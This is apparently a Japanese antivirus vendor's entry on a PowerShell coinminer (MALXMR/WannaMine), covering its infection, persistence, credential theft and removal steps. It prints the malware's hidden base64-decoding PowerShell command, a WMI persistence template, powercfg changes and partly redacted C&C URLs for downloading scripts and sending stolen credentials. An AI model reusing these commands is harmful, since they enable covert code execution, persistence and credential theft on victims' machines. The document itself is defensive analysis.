Coinminer.PS1.MALXMR.MPL
Trojan:Win32/WannaMine.B (Microsoft); MSH.Bluwimps (Norton)
Windows
- マルウェアタイプ: 仮想通貨発掘ツール(コインマイナー)
- 破壊活動の有無: なし
- 暗号化: はい
- 感染報告の有無: はい
概要
コインマイナーは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。
コインマイナーは、ソフトウェアに存在する脆弱性を利用して、ネットワーク上で感染活動をします。
コインマイナーは、感染コンピュータや感染ユーザから特定の情報を収集します。
コインマイナーは、特定のWebサイトにアクセスし、情報を送受信します。 概要:プログラムは、コンピュータのCPUおよびGPUのリソースを利用して仮想通貨を発掘します。
詳細
侵入方法
コインマイナーは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。
インストール
コインマイナーは、以下のプロセスを追加します。
- netstat -anop -tcp
- powershell -NoP -NonI -W Hidden `"`$mon = ([WmiClass] 'root\default:Win32_Services').Properties['mon'].Value;`$funs = ([WmiClass] 'root\default:Win32_Services').Properties['funs'].Value ;iex ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(`$funs)));Invoke-Command -ScriptBlock `$RemoteScriptBlock -ArgumentList @(`$mon, `$mon, 'Void', 0, '', '')`"
コインマイナーは、以下の Mutex を作成し、メモリ上で自身の重複実行を避けます。
- MMLOLSacnner
他のシステム変更
コインマイナーは、以下のファイルを削除します。
- %Temp%\y1.bat
(註:%Temp%フォルダは、一時的にファイルが保存されるフォルダで、いずれのオペレーティングシステム(OS)でも通常、 "C:\Windows\Temp" です。.)
感染活動
コインマイナーは、以下のソフトウェアに存在する脆弱性を利用して、ネットワーク上で感染活動をします。
プロセスの終了
コインマイナーは、感染コンピュータ上で以下のプロセスが常駐されていることを確認した場合、そのプロセスを終了します。
- powershell -> if it has an established connection to ports 80, 14444, and 14433
- processes with established connection to ports 3333, 5555, or 7777.
ダウンロード活動
コインマイナーは、以下のWebサイトにアクセスし、不正なファイルをダウンロードして実行します。
- If the infected machine is 32-bit, it downloads and executes the following in the accessed C&C:
- {BLOCKED}.{BLOCKED}.127.157:8000/in3.ps1
- node.{BLOCKED}v.com/in3.ps1
- node2.{BLOCKED}v.com/in3.ps1
- node3.{BLOCKED}v.com/in3.ps1
- node4.{BLOCKED}v.com/in3.ps1
情報漏えい
コインマイナーは、以下の情報を収集します。
- Domain Credentials via Mimikatz
その他
コインマイナーは、以下のWebサイトにアクセスし、情報を送受信します。
- {BLOCKED}.{BLOCKED}.127.157:8000/api.php?data={stolen credentials}
- node.{BLOCKED}v.com/api.php?data={stolen credentials}
- node2.{BLOCKED}v.com/api.php?data={stolen credentials}
- node3.{BLOCKED}v.com/api.php?data={stolen credentials}
- node4.{BLOCKED}v.com/api.php?data={stolen credentials}
コインマイナーは、以下を実行します。
- It automatically updates itself
- It deletes the following scheduled task:
- yastcat
- It creates the following WMI classes under ROOT\subscription to achieve persistence in the system:
- CommandLineEventConsumer
- Name: DSMEventLogConsumer
- CommandLineTemplate: powershell.exe -NoP -NonI -W Hidden -E {base64 encoded powershell command}
- __EventFilter
- Name: DSMEventLogFilter
- It modifies power configuration settings using the following commands:
- powercfg /CHANGE -standby-timeout-ac 0 (Standby timeout set to 0 minutes)
- powercfg /CHANGE -hibernate-timeout-ac 0 (Hibernate timeout set to 0 minutes)
- powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000 (Power buttons and lid close action set to do nothing)
詳細:プログラムは、コンピュータのCPUおよびGPUのリソースを利用して仮想通貨を発掘します。その結果、感染コンピュータの動作が非常に遅くなります。
対応方法
手順 1
Windows XP、Windows Vista および Windows 7 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。
手順 2
このマルウェアもしくはアドウェア等の実行により、手順中に記載されたすべてのファイル、フォルダおよびレジストリキーや値がコンピュータにインストールされるとは限りません。インストールが不完全である場合の他、オペレーティングシステム(OS)の条件によりインストールがされない場合が考えられます。手順中に記載されたファイル/フォルダ/レジストリ情報が確認されない場合、該当の手順の操作は不要ですので、次の手順に進んでください。
手順 3
「Coinminer.PS1.MALXMR.MPL」で検出したファイル名を確認し、そのファイルを終了します。
- すべての実行中プロセスが、Windows のタスクマネージャに表示されない場合があります。この場合、"Process Explorer" などのツールを使用しマルウェアのファイルを終了してください。"Process Explorer" については、こちらをご参照下さい。
- 検出ファイルが、Windows のタスクマネージャまたは "Process Explorer" に表示されるものの、削除できない場合があります。この場合、コンピュータをセーフモードで再起動してください。
セーフモードについては、こちらをご参照下さい。 - 検出ファイルがタスクマネージャ上で表示されない場合、次の手順にお進みください。
手順 4
最新のバージョン(エンジン、パターンファイル)を導入したウイルス対策製品を用い、ウイルス検索を実行してください。「Coinminer.PS1.MALXMR.MPL」と検出したファイルはすべて削除してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。
手順 5
以下の修正パッチをダウンロードし適用します。この脆弱性に対する修正パッチを適用するまで、該当製品の使用をお控えください。この製品の製造元が公開する正式な修正パッチをダウンロードし適用することをお勧めします。
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